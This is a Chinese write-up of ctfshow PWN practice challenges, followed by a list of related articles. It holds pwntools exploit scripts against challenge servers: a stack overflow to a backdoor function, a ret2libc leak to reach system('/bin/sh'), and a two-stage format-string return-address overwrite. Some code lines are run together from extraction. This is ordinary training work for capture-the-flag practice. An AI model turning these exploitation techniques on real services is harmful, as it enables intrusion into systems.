PWN-PRACTICE-CTFSHOW-1
PWN-PRACTICE-CTFSHOW-1
- PWN签到题
- pwn02
- pwn03
- pwn04
PWN签到题
nc连上去就会打印flag
pwn02
栈溢出,覆盖返回地址为后门函数stack起始地址即可
# -*- coding:utf-8 -*-
from pwn import *
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28194)
elf=ELF("./pwn1")stack=0x0804850Fio.recvuntil("32bits\n\n")
payload="a"*9+"bbbb"+p32(stack)
io.sendline(payload)io.interactive()
pwn03
栈溢出,ret2libc
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28045)
elf=ELF("./pwn1")puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
main_addr=0x080484DF#gdb.attach(io,"b * 0x080484DD")
#pause()io.recvuntil("32bits\n\n")
payload="a"*9+"bbbb"+p32(puts_plt)+p32(main_addr)+p32(puts_got)
io.sendline(payload)
puts_addr=u32(io.recv(4))
print("puts_addr=="+hex(puts_addr))
# libc:libc6-i386_2.27-3ubuntu1_amd64
libc_base=puts_addr-0x067360
system=libc_base+0x03cd10
binsh=libc_base+0x17b8cfio.recvuntil("32bits\n\n")
payload="a"*9+"bbbb"+p32(system)+p32(main_addr)+p32(binsh)
io.sendline(payload)#pause()io.interactive()
pwn04
两次格式化字符串漏洞
第一次格式化字符串,随便泄露一个栈上的地址,通过偏移得到返回地址在栈上的地址
第二次格式化字符串,覆盖返回地址为后门函数getshell的起始地址
# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28013)
elf=ELF("./pwn1")getshell=0x0804859B#gdb.attach(io,"b * 0x08048665")
#pause()io.recvuntil("Hello Hacker!\n")
payload1="%14$p"
io.sendline(payload1)
io.recvuntil("0x")
stack_addr=int(io.recvuntil("\n")[:-1],16)
print("stack_addr=="+hex(stack_addr))
ret_addr=stack_addr+0x14payload2=p32(ret_addr+1)+"%"+str(0x85-4)+"c"+"%6$hhna"
payload2+=p32(ret_addr)+"%"+str(0x9B-0x85-1-4)+"c"+"%10$hhn"
io.sendline(payload2)
print(len(payload2))#pause()io.interactive()
PWN-PRACTICE-CTFSHOW-1相关推荐
- CTFshow——Pwn(1)
CTFshow--Pwn(1) 有点懒不想写write up了.只有exploit. PWN签到题 from pwn import * p = remote('xxx',xxx) p.interact ...
- ctfshow pwn——PWN签到题、pwn02
PWN PWN签到题 pwn02 PWN签到题 nc连上就行了 pwn02 check一下是32位,用32位ida打开看看 很直白的pwnme函数 9字节的空间读入了50字节,产生了栈溢出 用pwnd ...
- CTF比赛PWN题sgtlibc通用快速解题框架
CTF比赛PWN题sgtlibc通用快速解题框架 安装 开源地址:https://github.com/serfend/sgtlibc 使用 pip install sgtlibc -U 安装pwn解 ...
- CTFshow 击剑杯 部分WP
摆烂了摆烂了 太难了 聪明的师傅已经组队打起月赛了 试试能不能苟住前5 苟住了 复现的后面再补充吧 文章目录 1.Misc 中文识别带师 2.Web 简单的验证码 easyPOP 3.Pwn pwn0 ...
- CTFSHOW 套娃shell
CTFSHOW 套娃shell 1.题目给的是用nc连接的,测试了下,传个请求包过去就可以了,比如(最后的换行不要忘了): GET /?file=/a HTTP/1.1 Host: 127.0.0.1 ...
- [ CTF ] WriteUp- 20221003 CTFShow新(脑洞)手(套路)杯
目录 [Misc]哇库哇库 [Misc]显卡坏了 赛后看官方wp给的脚本: [Web]easy_eval [Web]repairman [Crypto]easy_base [Crypto]天知地知(赛 ...
- ctfshow愚人节欢乐赛wp(部分)
目录 特殊base 凌晨四点的ctfshow php的简单RCE 以旧换新(签退-送分) 暴躁的zip Easy_game 这次月赛拿了个第十二,差一丢丢,只能说凌晨四点赚到了,下面这些是我比赛的时候 ...
- ctfshow吃瓜杯 八月群赛 WriteUp/WP
Web: shellme 题目问题,没什么说的,进去直接搜ctfshow就是flag 热身 签到题,做过web入门的都应该知道怎么绕,分开来看 比如第一个部分可以用小数绕过,第二部分没有字母,可以用8 ...
- Hitcon 2016 Pwn赛题学习
PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...
- HDU1089-1096 A+B for Input-Output Practice 系列问题(输入输出格式练习)
HDU1089 A+B for Input-output Practice (1) 问题描述:每行输入一对整数a和b,每行对应输出a与b的和. Sample Input 1 5 10 20 Sampl ...
最新文章
- 央视曝徐梦桃夺冠黑科技:竟然还有个虚拟教练???
- curl代理ippost php_php使用curl通过代理获取数据的实现方法
- employee setup in Organization unit
- P5895-[IOI2013]dreaming梦想【树的直径,结论】
- 百度、WordPress纷纷宣布停用React
- struts2中的method
- pytorch autograd.grad
- matlabplot———散点图
- 解决联想电脑“未安装音频设备”问题
- 1. Packet sniffers (包嗅探器 14个)
- Laravel第二章
- oracle 建同义词语句,Oracle 同义词的创建
- 华为天才少年主攻存储领域研究
- 自定义函数 | 批量计算微生物群落的alpha多样性
- 如何提高产品质量-开发维度
- ps铅笔素描效果教程
- 最小二乘法线性拟合及其代码实现(C语言)
- 老宇哥带你玩转ESP32:01入门介绍
- rc52实现的部分代码
- Python基础 | Miniconda的安装
热门文章
- 翻译记忆软件:Trados 7/2006,兼容性和基本用法讨论
- leetcode之回溯backtracing专题4
- 【小技巧】字符char与整型int的相互转换
- [剑指offer][JAVA]面试题第[22]题[j剑指offer][双指针][快慢指针]
- php后端mysql,【后端开发】PHP如何处理MySQL死连接
- access vba代码大全_VBA 实践指南 -- VBA连接各种数据库
- html css 前端实现消息提醒数_自学的福音,web前端学习全套视频教程+最新学习思维导图都在这里...
- java map 实现 序列化,MapReduce序列化
- python 局域网扫描_Python 简化版扫描局域网存活主机
- linux中线程的挂起与恢复(进程暂停)